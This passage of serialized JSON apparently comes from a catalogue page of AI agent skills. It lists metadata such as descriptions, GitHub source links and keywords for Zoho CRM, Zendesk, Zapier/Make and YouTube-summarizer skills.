schemas.","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fzoho-crm-automation\u002FSKILL.md",[126],{"categoryNo":100,"categoryName":101,"taxonomyType":75,"taxonomyTypeDesc":76},[128,129,105,130,131,132,35,133,134,107,135,108,109,136,110,28,137,138,139,86],"crm automation","zoho crm automation","crm","zoho crm","zoho","leads","manage leads","manage","records","convert","tasks","contacts",{"skillNo":141,"name":142,"nameZh":6,"description":143,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":144,"categories":145,"keywords":147,"publishedAt":37},"01M71TPZPMN60DH0XV58KVHY23","zendesk-automation","Automate Zendesk tasks via Rube MCP (Composio): tickets, users, organizations, replies. Always search tools first for current schemas.","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fzendesk-automation\u002FSKILL.md",[146],{"categoryNo":100,"categoryName":101,"taxonomyType":75,"taxonomyTypeDesc":76},[148,105,149,35,107,108,109,110,150,28,138,151,152,111,112,153,114,117,119,154],"zendesk automation","zendesk","organizations","replies","users","tickets","automate",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":161,"publishedAt":37},"01M71TPXDWKHKG4N6TVEPXWD0N","zapier-make-patterns","No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity ...","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fzapier-make-patterns\u002FSKILL.md",[],[162,163,164,165,166,167,168,169,170,105,171,28,172,173,174,175,176,154],"zapier make patterns","zapier","patterns","make","No-Code","complexity","writing","spawner","business","workflow","code","integromat","apache","processes","but",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":181,"categories":182,"keywords":186,"publishedAt":37},"01M71TPT5T10WXNKW9G7ZXZ27W","youtube-summarizer","Extract transcripts from YouTube videos and generate comprehensive, detailed summaries using intelligent analysis frameworks","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fyoutube-summarizer\u002FSKILL.md",[183],{"categoryNo":184,"categoryName":185,"taxonomyType":75,"taxonomyTypeDesc":76},"01JBSEEDCAT000000000000016","图像与多媒体",[187,188,189,190,35,191,192,193,194,195,196,197,172,198,199,200,201,202,203,204],"summarizer","youtube","youtube summarizer","Video","content-analysis","frameworks","copilot","2025","github-copilot","extract transcripts","analysis","codex","cli","summaries","github","generate","summarization","2026"]